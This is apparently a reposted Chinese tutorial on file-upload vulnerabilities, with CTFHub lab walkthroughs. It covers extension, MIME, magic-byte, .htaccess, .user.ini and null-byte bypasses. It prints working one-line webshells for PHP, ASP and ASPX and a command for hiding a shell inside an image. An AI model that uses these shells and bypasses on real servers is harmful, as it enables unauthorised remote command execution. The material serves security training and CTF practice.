|
原文链接:文件上传总结
0x00
文件上传的原理以及危害:
网站web应用程序都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是执行文件后门。
恶意文件传递给解释器去执行,之后就可以再服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等
一句话总结:指的用户上传了一个可执行的脚本文件,且通过脚本文件获得了执行服务器命令执行的能力
什么是webshell:是利用asp 或者 php 等语言 编写基于Web的木马后门通过web站点,包括上传下载文件,查看数据库,执行命令等
利用上传漏洞目的:将Webshell 上传到目标服务器
文件上传漏洞的利用前提是:
1.网站上传功能可以正常使用
2.文件类型允许上传
3.上传路径可以确定
4.文件可以被访问,可以被执行或者被包含
0x01
常见的上传点:
头像 相册 附件 添加文章图片 前台留言资料上传 编辑器文件上传
0x02
文件上传漏洞利用流程:
- 找到上传的功能,如果没有上传功能
- 尝试绕过校验,上传文件
- 获得文件位置
- 蚁剑连接,管理
复制代码
后缀绕过:
PHP:
/ph(p[2-7]?|t(ml)?)/的后缀,如php2、php3、php5、php7、phtml、pht、shtml、phtm(是否解析需要根据配置文件中设置类型类决定)
ASP:
asa、cer、cdx、asp{80-90}
ASPX:
ascx、asax、ashx、asac、asmx
JSP:
jsp、jspx、jspf、jspa、jsw、jsv、jtml
绕过方式:
客户端绕过:JavaScript绕过
文件类型:content-type
文件头:GIF89a
配合文件包含漏洞绕过
配合服务解析绕过
CMS,编辑器漏洞绕过
配合操作系统文件绕过
配合其他规则绕过
WAF绕过
大小写绕过原理:
windows系统下,对文件名中的大小写不敏感,例如:test,php和TeSt.php是不一样的去除文件后缀名的转为小写设定,可以直接选择后缀为.Php等等非黑名单中存在的格式上传
客户端(js)检查
这类检测,通常是在上传页面里含有专门检测文件上传的js代码,是最常见检测扩展名是否合法
绕过方法:
禁用Js直接上传木马

或者使用bp抓包将文件名dama.jpg改为dama.php
服务端MIME类型检测
媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。
MIME的组成结构非常简单;由类型与子类型两个字符串中间用 '/' 分隔而组成。不允许空格存在,type 表示可以被分多个子类的独立类别,subtype 表示细分后的每个类型
检测Content-type
绕过方法:
我们只需要使用bp将Content-Type改为合适的类型就可以
htaccess绕过htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
上传一个.htaccess内容如下的文件:
- 1 <FilesMatch "1.jpg">
- 2 SetHandler application/x-httpd-php
- 3 </FilesMatch>
复制代码
意思为将1.jpg按php文件执行然后在上传一个1.jpg文件即可user.ini绕过
先上传一个auto_propend_file=1为内容的.user.ini文件(用户自定义配置文件)user.ini文件里的意思是所有php文件都自动包含1.gif文件.user.in相当于一个用户自定义的php.ini在上传一个内容为一句话木马的命名为1.gif
文件头绕过
使用bp在文件头修改成允许的文件头,例如在gif文件的开头输入GIF89a
在使用蚁剑或者菜刀连接
常见文件头
- JPEG (jpg),文件头:FFD8FF
- PNG (png),文件头:89504E47
- GIF (gif),文件头:47494638
- HTML (html),文件头:68746D6C3E
- ZIP Archive (zip),文件头:504B0304
- RAR Archive (rar),文件头:52617221
- Adobe Acrobat (pdf),文件头:255044462D312E
- MS Word/Excel (xls.or.doc),文件头:D0CF11E0
复制代码
黑名单黑名单是设置不能通过的用户,黑名单以外的用户都能通过
绕过方法:看有没有不在黑名单限制内的文件且能被当作php文件执行
phtml、pht、php3、php4、php5后缀都会按着php文件执行,且不在黑名单内
 
%00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
test.php%00.txt
此时输出的是test.php就绕过了后缀限制,可以上传webshell啦。我们的常规操作,将 1.php .jpg的空格用burp的hex功能,把0x20改为0x00白名单
仅允许指定的文件类型上传,比如仅允许上传jpg/gif/doc/pdf等类型的文件,其他文件全部禁止
绕过方法:使用文件大小写绕过
文件幻数检测:
JPG: FF D8 FF E0 00 10 4A 46 49
GIF 47 49 46 38 39 61(GIF89a)
PNG: 89 50 4E 47绕过方法
在文件幻数后面加上自己的一句话密码就行了
从攻击者角度来给上传分类
轻量级检测绕过
1.绕过前端js检测 使用bp抓包改包
2.绕过服务器端MIME类型检测:bp抓包改包
路径/文件扩展检测绕过
a.黑名单检测方式
文件名大小写绕过
名单列表绕过
特殊文件名绕过
0x00截断绕过
.htaccess 文件攻击
本地文件包含漏洞
Apache解析漏洞
IIS解析漏洞
Nginx解析漏洞
b.白名单检测方式
文件内容检测方式
对文件进行恶意代码注入,再配合解析漏洞执行
0x03
一句话木马
php的一句话是
<?php @eval($_POST['cmd']);?>
asp的一句话是
<%eval request ("cmd")%> 
aspx的一句话是
<%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>
制作图片马:
cmd中 copy 1.jpg/b+2.php 3.jpg
/b是二进制形式打开 /a是ascii方式打开
推荐使用的练习平台是在线平台如(ctfhub,bugku)和本地搭建的Upload-labs url: https://github.com/c0ny1/upload-labs
以CTFHub上前端验证为例子
 
打开地址
 
通过源代码知道这是js的前端验证
 
将上传的.jpg文件后缀改为.php上传
提示上传成功,出现文件的相对路径


成功使用蚁剑连接上获得flag
CTF-HubMIME验证
检测Content-type
抓包修改为image/gif或其他允许类型即可
 
上传一个木马
 
将Content-type修改为image/gif即可上传成功
 
使用蚁剑连接成功
CTFHub 文件上传 - 文件头检测文件头检测:想到png,gif等文件在文件的头部都不同,能根据头部确定这是什么类型的文件
 
先上传一个php报错提示文件类型不正确只允许上传jpg,jpeg,png,gif类型
 
第一种思路:
使用cmd制作图片马进行上传
cd到原始图片的目录路径下
copy 1.jpg/b+2.asp/a 3.jpg
生成的3.jpg就是图片马然后进行上传
第二种思路:
上传一个图片使用bp抓包在空白处加入一句话
 
使用蚁剑连接
 
成功
还有本地的DVWA和Upload-labs去练习文件上传文件上传的基础总结完成
|
|